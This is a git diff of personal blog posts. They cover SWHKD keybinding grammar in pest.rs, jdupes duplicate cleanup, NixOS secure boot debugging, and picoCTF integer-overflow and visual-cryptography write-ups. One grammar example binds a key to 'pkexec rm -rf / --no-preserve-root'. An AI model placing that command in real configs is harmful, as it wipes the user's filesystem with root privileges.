- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
This is the second post in a series of posts I'm writing for Google Summer of Code.
|
||||
Each post covers a separate topic.
|
||||
While the previous posts might have given you an overview of ideas, this post will delve
|
||||
into more technical details. I highly recommend reading the previous posts because I will
|
||||
refer to them from time to time.
|
||||
|
||||
Let's begin with why we chose EBNF grammar in [pest.rs](https://pest.rs) instead of regular expressions.
|
||||
|
||||
# Why EBNF?
|
||||
|
||||
Let's say we have the following regular expression to match any line that starts with an _"a"_ and ends
|
||||
with a _"e"_:
|
||||
|
||||
```regex
|
||||
a.*e
|
||||
```
|
||||
The dot star matches any character any number of times.
|
||||
|
||||
Let's say we supply a word _"apple"_ for this regex to match.
|
||||
Intuitively we can conclude that the regular expression will match but we often misunderstand how the matching
|
||||
happens. The regex engine will simply match as much as it can, that is, the `.*` will match upto and
|
||||
including the last _"e"_. Once it realizes that there are no characters left, it backtracks the `.*` to match slightly less
|
||||
upto the _"l"_ so that it can match the _"e"_.
|
||||
|
||||

|
||||
|
||||
This backtracking causes the algorithm to have an exponential time complexity. We want to build a fast parser, one that doesn't
|
||||
hopefully get throttled by large files or multiple imports. The Extended Backus-Naur Form (EBNF) grammar in _pest.rs_ follows a simple
|
||||
greedy matching strategy which gives it a rather fast linear time complexity at the cost of us having to be a little bit more careful
|
||||
while defining our expressions.
|
||||
|
||||
# Keys
|
||||
|
||||
According to SWHKD's definition of bindings, a keybind declaration must at least be a regular key.
|
||||
This means, there's technically nothing stopping you from having a binding to a keypress like `a` that runs a command
|
||||
to annoy the user with notifications.
|
||||
|
||||
```
|
||||
a
|
||||
notify-send 'LOL you pressed a!'
|
||||
```
|
||||
|
||||
However, generally keys are used in conjunction with modifiers prefixed before them.
|
||||
|
||||
From our general intuition, we might be able to conclude that a regular key must contain the ASCII alphanumeric characters,
|
||||
symbols and control characters like backspace, enter, etc.
|
||||
|
||||
Recall from the previous post that our grammar supports shorthands delimited by curly braces and commas.
|
||||
We also noted that certain keys inside these shorthands must be different from their counterparts outside shorthands.
|
||||
|
||||
The most obvious example is specifying a literal curly brace. Inside a shorthand, we have to escape the keys
|
||||
with a backslash. Thus, `{` has to be written as `\{` inside shorthands.
|
||||
|
||||
To respect the difference between these two contexts, keys inside shorthands are modeled differently from those outside.
|
||||
|
||||
We start by defining what gets denied or allowed in shorthands.
|
||||
|
||||
```
|
||||
shorthand_bounds = { "{" | "}" }
|
||||
shorthand_deny = { NEWLINE | shorthand_bounds | "," | "-" }
|
||||
shorthand_allow = { "\\," | "\\\\" | "\\{" | "\\}" | "\\-" }
|
||||
```
|
||||
|
||||
Now we will define a key to be used in a regular context.
|
||||
|
||||
```
|
||||
key = { ^"enter" | ^"return" | ASCII_ALPHANUMERIC }
|
||||
key_normal = { send? ~ on_release? ~ (key | "," | "-") }
|
||||
```
|
||||
|
||||
You may ignore the `send` and `on_release` attributes for now but that is the
|
||||
general definition of keys in the grammar.
|
||||
|
||||
```
|
||||
key_in_shorthand = {
|
||||
!shorthand_deny ~ send? ~ on_release? ~ (shorthand_allow | key)
|
||||
}
|
||||
```
|
||||
|
||||
In case of keys in a shorthand, we first make sure that it does not match keys denied in the context of
|
||||
a shorthand (`!shorthand_deny`). Ignoring the attributes again, we match the allowed escaped versions of
|
||||
the keys denied earlier (`shorthand_allow`) or any other regular key that does not need escaping.
|
||||
|
||||
We had also talked about a convenience features that allowed us to specify a range using dashes.
|
||||
Since they are meant to be used inside shorthands, we reuse the `key_in_shorthand` expression to define
|
||||
a key range like so:
|
||||
|
||||
```
|
||||
key_range = { key_in_shorthand ~ "-" ~ key_in_shorthand }
|
||||
```
|
||||
|
||||
We use a blanket expression for building the overall shorthand expression called `key_or_range`. It does
|
||||
exactly what it says, it is either a bare key or a dashed range in a shorthand context.
|
||||
|
||||
```
|
||||
key_or_range = _{ key_range | key_in_shorthand }
|
||||
```
|
||||
|
||||
Note the use of the underscore while defining the grammar. This allows us to reference the expression without
|
||||
needlessly exposing it to the code side.
|
||||
|
||||
We will now slowly build a shorthand from the expressions defined so far.
|
||||
Let's think through what makes up a shorthand, starting from the outside.
|
||||
|
||||
A shorthand must begin and end in opening and closing curly braces respectively.
|
||||
|
||||
```
|
||||
shorthand = {
|
||||
"{"
|
||||
~ // ...
|
||||
~ "}"
|
||||
}
|
||||
```
|
||||
|
||||
When does a shorthand make sense to use? Well, we generally use them to define two or more bindings succinctly.
|
||||
|
||||
Therefore, we can dedeuce the possible expressions that a shorthand may begin with.
|
||||
These are as follows:
|
||||
|
||||
first | second | example
|
||||
------|--------|---------
|
||||
|key | key | `{a,b}`
|
||||
|key | range | `{a,b-c}`
|
||||
| | range | `{a-c}`
|
||||
|
||||
We can model these three cases in the grammar like so:
|
||||
|
||||
```
|
||||
(key_in_shorthand ~ "," ~ key_in_shorthand)
|
||||
| (key_in_shorthand ~ "," ~ key_range)
|
||||
| key_range
|
||||
```
|
||||
|
||||
These starting expressions can be followed by one or more keys or ranges. This is where the blanket expression `key_or_range` we defined
|
||||
earlier make our lives easy. We can also make the above expression a little concise by abusing the blanket expression.
|
||||
|
||||
You see, for the first two possibilities, we are essentially saying that it needs to be a `key_in_shorthand`, a comma
|
||||
and *either another key or a range*. So those two can boil down to use a `key_or_range` after the comma.
|
||||
|
||||
```
|
||||
(key_in_shorthand ~ "," ~ key_or_range)
|
||||
| key_range
|
||||
```
|
||||
|
||||
Putting it all together, we get the following expression for a shorthand.
|
||||
|
||||
```
|
||||
shorthand = {
|
||||
"{"
|
||||
~ ((key_in_shorthand ~ "," ~ key_or_range) | key_range)
|
||||
~ ("," ~ key_or_range)*
|
||||
~ "}"
|
||||
}
|
||||
```
|
||||
|
||||
Here `("," ~ key_or_range)*` represents the zero or more keys or ranges that the user may supply after the starting sequence.
|
||||
|
||||
That's all for today, I hope my explanation was not too convoluted. In the next post, I will talk about the `send` and the `on_release`
|
||||
attributes that describe the timing of a keypress and how we handle the grammar for them.
|
||||
|
||||
Talk to you then!
|
||||
1451
content/post/kringlecon-2022-writeup.md
Normal file
2571
content/post/kringlecon-2023-writeup.md
Normal file
86
content/post/liberating-14GiB-of-space.md
Normal file
@@ -0,0 +1,86 @@
|
||||
---
|
||||
title: "Liberating 14GiB of disk space"
|
||||
tags:
|
||||
- Powershell
|
||||
- Windows
|
||||
- Workflow
|
||||
date: 2022-02-21T13:15:26+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
The idea is simple:
|
||||
- Remove all duplicates, including zero length files
|
||||
- Fine tuning: Hand-pick and remove files deemed unnecessary
|
||||
|
||||
Since the mileage for second step might vary from person to person, I'll elaborate on the first step.
|
||||
|
||||
I chose [jdupes](https://github.com/jbruchon/jdupes) as my weapon of choice for finding and removing the duplicates.
|
||||
It's free and open-source and is cross platform.
|
||||
|
||||
For a given folder we would run the following to wipe the duplicates:
|
||||
|
||||
```powershell
|
||||
jdupes -rdNz .
|
||||
```
|
||||
|
||||
Let me explain the flags:
|
||||
|
||||
Flag|Explanation
|
||||
-|-
|
||||
`r`|Find duplicates recursively
|
||||
`d`|Delete duplicates
|
||||
`N`|No-prompt: when used with the `d` flag, it keeps the first file and removes all the others in a collection of duplicates
|
||||
`z`|Consider zero length files to be duplicates
|
||||
|
||||
The `.` here means the current directory.
|
||||
|
||||
Please read the tool's help page for more granular control during the cleanup.
|
||||
|
||||
The computer in question runs Microsoft Windows and there's a thing
|
||||
common in almost all Windows setups, *drives*.
|
||||
|
||||
This was a glaring issue. There could be files that are unique in a given drive but are actually duplicates
|
||||
in the inter-drive space. There are two ways to combat this.
|
||||
|
||||
First method:
|
||||
- Run jdupes on a drive to free some space
|
||||
- Move some data from other drives into the current drive to fill it up again
|
||||
- Repeat
|
||||
|
||||
This, obviously, is a terrible idea beacause we have the overhead cost of moving the files after each run
|
||||
as well as the fact that we have to run jdupes exhaustively for many iterations.
|
||||
|
||||
Second (and probably the more elegant) method:
|
||||
- From the space of drives to be cleaned, pick a random drive (parent)
|
||||
- Hardlink all the other drives from the space into the drive we picked previously (children)
|
||||
- Run jdupes
|
||||
|
||||
This method only requires us to run jdupes once.
|
||||
|
||||
Assuming we have picked the `A` drive as the parent and the `E` drive is one of the children,
|
||||
we would run the following powershell command to hardlink `E` drive to a folder called `Edrive` in `A`.
|
||||
|
||||
```powershell
|
||||
New-Item -ItemType HardLink -Path A:\Edrive -Value E:\
|
||||
```
|
||||
|
||||
We would repeat this for all the children drives, modifying the command
|
||||
ever so slightly to meet our needs.
|
||||
|
||||
This implies that when we run jdupes from the root of the `A` drive, it would
|
||||
traverse the hardlinks and find duplicates in the inter-drive space.
|
||||
|
||||
Next, we'd go to the root of `A` drive and run jdupes.
|
||||
```powershell
|
||||
A:
|
||||
jdupes -rdNz .
|
||||
```
|
||||
|
||||
Finally we remove the hardlinks:
|
||||
```powershell
|
||||
rm A:\Edrive
|
||||
```
|
||||
|
||||
> Note: Do not run jdupes at `SYSTEMROOT` (`C:` drive for most people)
|
||||
as there are legitimate duplicates which, if deleted, can brick a system. I'd recommend
|
||||
running jdupes in individual directories like _Music_, _Documents_, etc.
|
||||
120
content/post/modeling-more-realistic-keybinds-with-modifiers.md
Normal file
@@ -0,0 +1,120 @@
|
||||
---
|
||||
title: "Modeling More Realistic Keybinds With Modifiers"
|
||||
date: 2024-06-05T10:26:13+05:30
|
||||
tags:
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
Real world keybindings for shortcuts often involve more than just a simple keypress, especially outside the context of
|
||||
a single application. The general distinction for these two types involves modifier keys. When I talk about a shortcut
|
||||
bound to `super` `v`, chances are you automatically think of global bindings at the operating system or desktop environment
|
||||
level. Today we'll go through the process of writing the grammar for these bindings for swhkd.
|
||||
|
||||
Welcome to the fifth instalment in the series where we build a config parser using Rust and _pest.rs_. I highly recommend
|
||||
you going through the previous posts because I'll refer to them from time to time.
|
||||
|
||||
Let's begin by defining possible modifiers that can be used by our parser. The EBNF grammar expression looks like the following:
|
||||
|
||||
```
|
||||
modifier = {
|
||||
^"alt"
|
||||
| ^"altgr"
|
||||
| ^"control"
|
||||
| ^"ctrl"
|
||||
| ^"mod1"
|
||||
| ^"mod4"
|
||||
| ^"mod5"
|
||||
| ^"shift"
|
||||
| ^"super"
|
||||
| ^"any"
|
||||
}
|
||||
```
|
||||
|
||||
We are using the or operator (`|`) to match any of the strings. Notice the use of the caret (`^`) before the start of every string.
|
||||
We do this to ensure that the matched modifiers are case insensitive. There's not a lot for us to do when it comes to a regular
|
||||
binding like the following:
|
||||
|
||||
```
|
||||
super + v
|
||||
pkexec rm -rf / --no-preserve-root
|
||||
```
|
||||
|
||||
However, there are a few quirks with how modifiers behave inside shorthands. Recall from the first general overview post that
|
||||
modifiers can also be placed inside shorthands, separating each variant with a comma.
|
||||
|
||||
```
|
||||
super + {alt, ctrl} + a
|
||||
ls {foo, bar}
|
||||
```
|
||||
|
||||
During early development, I had created a copy of the expression for regular keys to match modifiers. Turns out, the strict
|
||||
set of possible modifiers actually eliminates quite some pain that we went through developing expressions for regular keys.
|
||||
The most obvious simplification is not needing to match the characters denied in a shorthand.
|
||||
|
||||
Since pest and other EBNF parsers are greedy parsers, we had to explicitly make sure that the expression for keys starts out
|
||||
by _not_ matching any of the denylist characters.
|
||||
|
||||
```
|
||||
key_in_shorthand = { !shorthand_deny ~ key_attributes ~ (shorthand_allow | key_base) }
|
||||
```
|
||||
|
||||
Notice we had to negate (`!`) `shorthand_deny` before we could even start matching key attributes and such.
|
||||
In case of modifier, our match pool gets narrowed to the few strings we defined earlier. Thus, we don't even have to think about
|
||||
having a denylist, those characters would not be considered as modifers to begin with.
|
||||
|
||||
With this simplification in mind, we can now create a shorthand expression for modifiers.
|
||||
|
||||
```
|
||||
modifier_shorthand = { "{" ~ (modifier ~ ",")+ ~ modifier ~ "}" }
|
||||
```
|
||||
|
||||
We defined the expression such that it starts and ends with curly braces, the boundary delimiters of shorthands and two or more comma
|
||||
separate modifiers. So far so good.
|
||||
|
||||
Now let's come to omissions. Omissions allow us to, well, omit modifiers inside shorthands. Using omissions requires us to replace one
|
||||
of the shorthand variants with an underscore. Each of the remaining variants that are not omitted must be suffixed with a concatenator `+`
|
||||
while the contcatenator outside the shorthand gets remove.
|
||||
|
||||
You can imagine the outside plus shifting inside the shorthand, getting distributed across all the non omitted variants.
|
||||
|
||||
```
|
||||
super + {alt +, _, shift +} a
|
||||
ls {foo, bar, baz}
|
||||
```
|
||||
|
||||
Since this is the only time we don't have a trailing concatenator, we model this expression separately. We start out by defining an omission.
|
||||
|
||||
```
|
||||
omission = { "_" }
|
||||
modifier_omit = _{ omission | (modifier ~ concat) }
|
||||
modifier_omit_shorthand = { "{" ~ modifier_omit ~ ("," ~ modifier_omit)+ ~ "}" }
|
||||
```
|
||||
|
||||
Each variant (`modifier_omit`) inside such a shorthand can either be an omission or a modifier _and_ a concatentator.
|
||||
We can then package multiple of these up into a single expression like we did previously with the regular modifier shorthand.
|
||||
|
||||
For all the other cases where the concatenator is outside the shorthand context, we create a blanket expression.
|
||||
|
||||
```
|
||||
modifier_or_shorthand = _{ (modifier | modifier_shorthand) ~ concat }
|
||||
```
|
||||
|
||||
Let's combine the expressions we have built so far to build one of the workhorse primitives in our parser: a trigger for a binding.
|
||||
|
||||
```
|
||||
trigger = _{ (modifier_or_shorthand | modifier_omit_shorthand)* ~ (key_normal | shorthand) }
|
||||
```
|
||||
Notice how there is no explicit concatenator between the expression for one or more modifiers (or their shorthands) and the trailing
|
||||
key (or their shorthands). This is because we have already encoded where the plus sign should be in the individual expression for
|
||||
`modifier_or_shorthand` and `modifier_omit_shorthand`.
|
||||
|
||||
The expression for a trigger is meaningless outside the context of a binding. Thus, the expression is silenced with the underscore at the start.
|
||||
If you are wondering why this is not a complete binding, remember we still need to make room for commands and comments.
|
||||
|
||||
In fact, that's going to be the topic for the next post, so stay tuned and I'll see you around!
|
||||
@@ -0,0 +1,114 @@
|
||||
---
|
||||
title: "Modes, Unbinds and Other Ensembled Parser Patterns"
|
||||
date: 2024-06-10T08:27:06+05:30
|
||||
tags:
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
Hello and welcome to the sixth instalment in this series where we build a parser
|
||||
for a domain specific language from scratch. I would highly recommend you to go
|
||||
through the previous articles to make sense of what we'll talk about today.
|
||||
|
||||
So far, we have built ranges, shorthands and bindings, starting all the way down
|
||||
from primitives such as keys and modifiers. Continuing with the theme, we will
|
||||
ensemble these patterns together along with some newer syntax to build modes.
|
||||
|
||||
SWHKD allows us to define additional properties to one or more bindings
|
||||
by wrapping them in mode blocks. These properties can describe whether
|
||||
bindings are meant as _one-off_ bindings that immediately exit a mode
|
||||
or that they must _swallow_ the keypresses and not emit any uinput events.
|
||||
|
||||
The syntax of a mode definition is akin to that of `if` statements in bash.
|
||||
A mode block begins with the word `mode` and ends with the word `endmode`.
|
||||
The keyword `mode` must be followed by a name for future reference
|
||||
while debugging a config.
|
||||
|
||||
```
|
||||
mode my_mode_name
|
||||
# ...
|
||||
# bindings go here
|
||||
# ...
|
||||
endmode
|
||||
```
|
||||
|
||||
The mode name can be followed by one or more mode properties: `oneoff` and
|
||||
`swallow` as we discussed earlier. Non unqiue properties get automatically
|
||||
removed. Inside the mode, we can add one or more bindings, comments and unbinds.
|
||||
Thus, an example mode block could look like the following:
|
||||
|
||||
```
|
||||
mode dir oneoff swallow
|
||||
{super, alt} + {ctrl, shift} + l
|
||||
{ls, exa} {\-a, \-A} -l
|
||||
|
||||
ignore alt + l
|
||||
endmode
|
||||
```
|
||||
|
||||
Hold on, what is that `ignore` statement? Well, that is an unbind statement.
|
||||
It is rather trivial to implement which is why it does not get its own section.
|
||||
An unbind is a single statement that begins with ignore followed by the `trigger`
|
||||
for a binding that we built in a previous article. It is modelled in the grammar
|
||||
side simply as:
|
||||
|
||||
```python
|
||||
unbind = { "ignore" ~ trigger }
|
||||
```
|
||||
|
||||
Coming back to modes, we define the oneoff and swallow expressions like the following:
|
||||
|
||||
```python
|
||||
oneoff = { "oneoff" }
|
||||
swallow = { "swallow" }
|
||||
```
|
||||
|
||||
Due to the way EBNF greedily processes inputs, we need to make sure that the mode name
|
||||
that comes before any of these properties do not accidentally also match them. To do this,
|
||||
we have to explicitly negate the aforementioned expressions in the token (character) set for mode
|
||||
names.
|
||||
|
||||
```python
|
||||
modename_characters = _{ !NEWLINE ~ !(oneoff | swallow) ~ ANY }
|
||||
```
|
||||
|
||||
We can now have one or more of these mode name characters build an entire mode name.
|
||||
|
||||
```python
|
||||
modename = { modename_characters+ }
|
||||
```
|
||||
|
||||
For the contents inside a mode, we will create a union representation of comments, bindings
|
||||
and unbinds as `primitives`. This facilitates easier reuse in future expressions.
|
||||
|
||||
```python
|
||||
primitives = _{ comment | unbind | binding }
|
||||
```
|
||||
|
||||
Since this is a expression catered towards convenience and we don't need it on
|
||||
the code side, we have silenced it with a leading underscore. For the home stretch now,
|
||||
let's put all of these smaller expressions together to build the mode expression itself.
|
||||
|
||||
```python
|
||||
mode = {
|
||||
"mode" ~ modename ~ oneoff? ~ swallow? ~ comment?
|
||||
~ NEWLINE ~ WHITESPACE*
|
||||
~ (primitives ~ NEWLINE)+
|
||||
~ "endmode"
|
||||
}
|
||||
```
|
||||
|
||||
We started with the keyword `mode`, followed by a mode name, one or more properties and an optional comment.
|
||||
Then we move onto the next line where there might be some whitespaces for visual structure and finally one or
|
||||
more primitives (bindings, comments and unbinds) separated by newlines. Lastly, we end with the `endmode`
|
||||
statement.
|
||||
|
||||
Note that we did not need to care about indentation when talking about modes since they have explicit markers
|
||||
around their start and end.
|
||||
|
||||
Okay, that's about it for now, I'll see you in the next article.
|
||||
93
content/post/nixos-secureboot-shenanigans.md
Normal file
@@ -0,0 +1,93 @@
|
||||
---
|
||||
title: "NixOS Secureboot Shenanigans"
|
||||
date: 2024-12-20T12:26:10+05:30
|
||||
draft: false
|
||||
tags:
|
||||
- Nix
|
||||
- NixOS
|
||||
- Secureboot
|
||||
- sbctl
|
||||
- lanzaboote
|
||||
- Debugging
|
||||
---
|
||||
|
||||
# Key takeaways
|
||||
|
||||
- This issue only pertains to secureboot on NixOS using lanzaboote. Most Linux users have secureboot disabled. If you are paranoid like me and have enabled it, continue reading.
|
||||
- Make sure to track the latest version of `lanzaboote`. ([example](https://github.com/lavafroth/dotfiles/commit/4d64808ffbc135b5bf5a61df17ef02d7da8452b7))
|
||||
- Set the PKI bundle location to the newer `sbctl` default. ([example](https://github.com/lavafroth/dotfiles/commit/1fa71734bb3af83b8de9134e68f0153f49a18205))
|
||||
|
||||
# Deprecated `overrideScope'`
|
||||
|
||||
For the past few months, I started noticing this new warning when rebuilding my system with `nixos-rebuild`.
|
||||
|
||||
```
|
||||
warning: `overrideScope'` will be deprecated soon
|
||||
```
|
||||
|
||||
I thought nothing of it since NixOS sometimes has these small spans of time when things are being migrated.
|
||||
|
||||
A couple days ago, I bumped my flake with `nix flake update` and this somewhat longstanding warning turned into
|
||||
and error.
|
||||
|
||||
```
|
||||
error: attribute 'overrideScope'' missing
|
||||
```
|
||||
|
||||
After a bit of digging around I discovered that the problem was caused due the out-of-date `crane` dependency
|
||||
required for [`lanzaboote`](https://github.com/nix-community/lanzaboote/), the Rust utility for the secure boot shim[^1]. After looking through [this issue on github](https://github.com/nix-community/lanzaboote/issues/411)
|
||||
as well as the lanzaboote repository, it dawned on me that I had been using a version of lanzaboote released even before July this year.
|
||||
|
||||
This meant I had to update the version in my `flake.nix` inputs like so
|
||||
|
||||
```diff
|
||||
lanzaboote = {
|
||||
- url = "github:nix-community/lanzaboote/v0.3.0";
|
||||
+ url = "github:nix-community/lanzaboote/v0.4.1";
|
||||
inputs.nixpkgs.follows = "nixpkgs";
|
||||
};
|
||||
```
|
||||
|
||||
With that, I ran another `nix flake update` and enqueued my system for a rebuild.
|
||||
I deleted a few entries from `/boot/EFI/nixos` because the [new release](https://github.com/nix-community/lanzaboote/releases/tag/v0.4.1) uses double the scratch space as needed by the previous version. Also, I had around 16 older generations of my setup for the sake of posteriety.
|
||||
|
||||
# Where is the PKI Bundle?
|
||||
|
||||
The rebuild led to yet another error, this time concerning a nonexistent path.
|
||||
|
||||
```
|
||||
Installing Lanzaboote to "/boot"...
|
||||
Failed to install generation 303: Get stub name: No such file or directory (os error 2)
|
||||
Failed to install bootloader
|
||||
warning: error(s) occurred while switching to the new configuration
|
||||
```
|
||||
|
||||
The hardest part of debugging this was to know what program was causing this issue and what path it was looking for.
|
||||
Fortunately, we can use `strace` to see what system calls are being made by `nixos-rebuild`. We also add the `-f` flag to follow the system
|
||||
calls of child processes.
|
||||
|
||||
```sh
|
||||
sudo strace -f nixos-rebuild boot --flake /home/h/Public/dotfiles#cafe
|
||||
```
|
||||
|
||||
From the obscenely long logs which I will spare you from reading, one could observe that the secureboot key management tool `sbctl`
|
||||
looks for the path `/var/lib/sbctl`. This correlates with [this issue](https://github.com/nix-community/lanzaboote/issues/413) and [this commit](https://github.com/Foxboron/sbctl/blob/cd6dd1c6a02f5b4b3b93669e78671b656ddcfe67/config/config.go#L107C19-L107C34) confirming that `sbctl` has switched the default
|
||||
public key infrastructure bundle (`pkiBundle`) location to `/var/lib/sbctl`.
|
||||
|
||||
I finally solved the issue by setting the respective parameter in my config.
|
||||
|
||||
```nix
|
||||
boot.lanzaboote = {
|
||||
enable = true;
|
||||
pkiBundle = "/var/lib/sbctl";
|
||||
};
|
||||
```
|
||||
|
||||
I recommend performing garbage collection on your system before queueing another rebuild because the last error
|
||||
causes you to land in a generation that is unavailable in the systemd-boot menu.
|
||||
|
||||
Honestly, I think this whole issue would have been much easier to resolve if `sbctl` spelled out the path it was looking for in the error message.
|
||||
|
||||
Anyways, that's all for today, hope this helps!
|
||||
|
||||
[^1]: I have two NixOS outputs defined for my work setup, one with secureboot and another without. See my system config [here](https://github.com/lavafroth/dotfiles).
|
||||
75
content/post/oh-my-god-they-killed-kenny.md
Normal file
82
content/post/picoctf-binary-exploitation-twosum.md
Normal file
@@ -0,0 +1,82 @@
|
||||
---
|
||||
title: "Twosum"
|
||||
tags:
|
||||
- Binary Exploitation
|
||||
- CTF
|
||||
- PicoCTF
|
||||
date: 2023-04-10T08:44:28+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
This is a rather simple binary exploitation challenge. We are given the following source
|
||||
code for the program running on the remote server:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
static int addIntOvf(int result, int a, int b) {
|
||||
result = a + b;
|
||||
if(a > 0 && b > 0 && result < 0)
|
||||
return -1;
|
||||
if(a < 0 && b < 0 && result > 0)
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main() {
|
||||
int num1, num2, sum;
|
||||
FILE *flag;
|
||||
char c;
|
||||
|
||||
printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
|
||||
fflush(stdout);
|
||||
printf("What two positive numbers can make this possible: \n");
|
||||
fflush(stdout);
|
||||
|
||||
if (scanf("%d", &num1) && scanf("%d", &num2)) {
|
||||
printf("You entered %d and %d\n", num1, num2);
|
||||
fflush(stdout);
|
||||
sum = num1 + num2;
|
||||
if (addIntOvf(sum, num1, num2) == 0) {
|
||||
printf("No overflow\n");
|
||||
fflush(stdout);
|
||||
exit(0);
|
||||
} else if (addIntOvf(sum, num1, num2) == -1) {
|
||||
printf("You have an integer overflow\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
if (num1 > 0 || num2 > 0) {
|
||||
flag = fopen("flag.txt","r");
|
||||
if(flag == NULL){
|
||||
printf("flag not found: please run this on the server\n");
|
||||
fflush(stdout);
|
||||
exit(0);
|
||||
}
|
||||
char buf[60];
|
||||
fgets(buf, 59, flag);
|
||||
printf("YOUR FLAG IS: %s\n", buf);
|
||||
fflush(stdout);
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In order to trigger the program to disclose the flag, we need to supply two numbers that are greater that 0 and result in an integer overflow.
|
||||
Since this is C and there is no integer overflow check, we can simply supply the maximum interger value for the first number and the value 1 for
|
||||
the second. Adding them would cause the result to wrap around and become negative.
|
||||
|
||||
We `echo` the following to the remote netcat connection:
|
||||
|
||||
```
|
||||
2147483647 1
|
||||
```
|
||||
|
||||
This results in the program handing us the flag.
|
||||
|
||||
```
|
||||
picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_482d8fc4}
|
||||
```
|
||||
143
content/post/picoctf-cryptography-pixelated.md
Normal file
@@ -0,0 +1,143 @@
|
||||
---
|
||||
title: "Pixelated"
|
||||
tags:
|
||||
- Cryptography
|
||||
- CTF
|
||||
- Image Reconstruction
|
||||
- PicoCTF
|
||||
- Rust
|
||||
- Visual Cryptography
|
||||
date: 2022-11-22T09:25:20+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
This challenge gives use two images and asks us if we can make a flag out of them.
|
||||
At first glance, both the images look like noise. Upon a quick web lookup of
|
||||
[visual cryptography](https://en.wikipedia.org/wiki/Visual_cryptography), it appears
|
||||
that these separate images, known as shares of the original image, can be overlayed
|
||||
on each other to reconstruct the original image.
|
||||
|
||||
## Exploration
|
||||
|
||||
Now, I'm pretty sure that there are online services that will automatically solve these
|
||||
but I decided to write some code to solve this locally. For the past week, I've been
|
||||
learning the Rust programming language and this was the perfect excuse to test my knowledge.
|
||||
|
||||
First, we will create a cargo project. Let's call it "solve".
|
||||
|
||||
```sh
|
||||
cargo new solve
|
||||
```
|
||||
|
||||
We'll then add the image library (crate) using cargo.
|
||||
|
||||
```sh
|
||||
cargo add image
|
||||
```
|
||||
|
||||
Now let's get some Rust in action. We'll start by editing the `src/main.rs` file.
|
||||
First, we import the required types with the use statement.
|
||||
|
||||
```rust
|
||||
use image::{GenericImageView, ImageBuffer, Pixel, RgbaImage};
|
||||
```
|
||||
|
||||
We'll now write the main function. Let's open the images and store handles to them
|
||||
in variables `a` and `b`.
|
||||
|
||||
```rust
|
||||
fn main() {
|
||||
let a = image::open("scrambled1.png").unwrap();
|
||||
let b = image::open("scrambled2.png").unwrap();
|
||||
}
|
||||
```
|
||||
|
||||
For sanity check, let's make sure that the dimensions are the same for both the images.
|
||||
|
||||
```rust
|
||||
if a.dimensions() != b.dimensions() {
|
||||
panic!("Image dimensions don't match.");
|
||||
}
|
||||
```
|
||||
|
||||
Next, we'll create an image buffer for reconstructing the composite image.
|
||||
|
||||
```rust
|
||||
let mut imgbuf: RgbaImage = ImageBuffer::new(a.width(), a.height());
|
||||
```
|
||||
|
||||
Looping over the pixels in the shares,
|
||||
|
||||
```rust
|
||||
for ((x, y, p), (_, _, q)) in a.pixels().zip(b.pixels()) {
|
||||
}
|
||||
```
|
||||
|
||||
we sum the values in each channel ...
|
||||
|
||||
```rust
|
||||
&p.channels()
|
||||
.iter()
|
||||
.zip(q.channels().iter())
|
||||
.map(|(c0, c1)| c0.checked_add(*c1).unwrap_or(*c0))
|
||||
.collect::<Vec<u8>>(),
|
||||
```
|
||||
|
||||
... and place the new pixel into the image buffer.
|
||||
|
||||
```rust
|
||||
for ((x, y, p), (_, _, q)) in a.pixels().zip(b.pixels()) {
|
||||
imgbuf.put_pixel(x, y, *Pixel::from_slice(
|
||||
// --snip--
|
||||
),
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
Finally, we save the image buffer into "flag.png".
|
||||
|
||||
```rust
|
||||
imgbuf.save("flag.png").unwrap();
|
||||
```
|
||||
|
||||
The entire code looks like the following:
|
||||
|
||||
```rust
|
||||
fn main() {
|
||||
let a = image::open("scrambled1.png").unwrap();
|
||||
let b = image::open("scrambled2.png").unwrap();
|
||||
|
||||
// the shares must have the same dimensions
|
||||
if a.dimensions() != b.dimensions() {
|
||||
panic!("Image dimensions don't match.");
|
||||
}
|
||||
|
||||
// create an empty buffer for the composite image
|
||||
let mut imgbuf: RgbaImage = ImageBuffer::new(a.width(), a.height());
|
||||
for ((x, y, p), (_, _, q)) in a.pixels().zip(b.pixels()) {
|
||||
imgbuf.put_pixel(
|
||||
x,
|
||||
y,
|
||||
*Pixel::from_slice(
|
||||
&p.channels()
|
||||
.iter()
|
||||
.zip(q.channels().iter())
|
||||
.map(|(c0, c1)| c0.checked_add(*c1).unwrap_or(*c0))
|
||||
.collect::<Vec<u8>>(),
|
||||
),
|
||||
);
|
||||
}
|
||||
imgbuf.save("flag.png").unwrap();
|
||||
}
|
||||
```
|
||||
|
||||
After saving this file, we place the images in the current directory. Let's
|
||||
compile and run the program.
|
||||
|
||||
```sh
|
||||
cargo run
|
||||
```
|
||||
|
||||
Viewing "flag.png" shows us the flag in pixelated text.
|
||||
|
||||

|
||||
339
content/post/picoctf-forensics-operation-oni-operation-orchid.md
Normal file
@@ -0,0 +1,339 @@
|
||||
---
|
||||
title: "Operation Oni, Operation Orchid"
|
||||
tags:
|
||||
- CTF
|
||||
- Forensics
|
||||
- PicoCTF
|
||||
- The Sleuth Kit
|
||||
date: 2022-03-18T07:10:17+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
In this post, we'll walk through the Operation Oni and Operation Orchid challenges
|
||||
from the PicoCTF competition held in March 2022. Both of these challenges involve
|
||||
the use of tools from The Sleuth Kit suite. In order to follow along, I'd recommend
|
||||
installing the suite of tools.
|
||||
|
||||
# Operation Oni
|
||||
|
||||
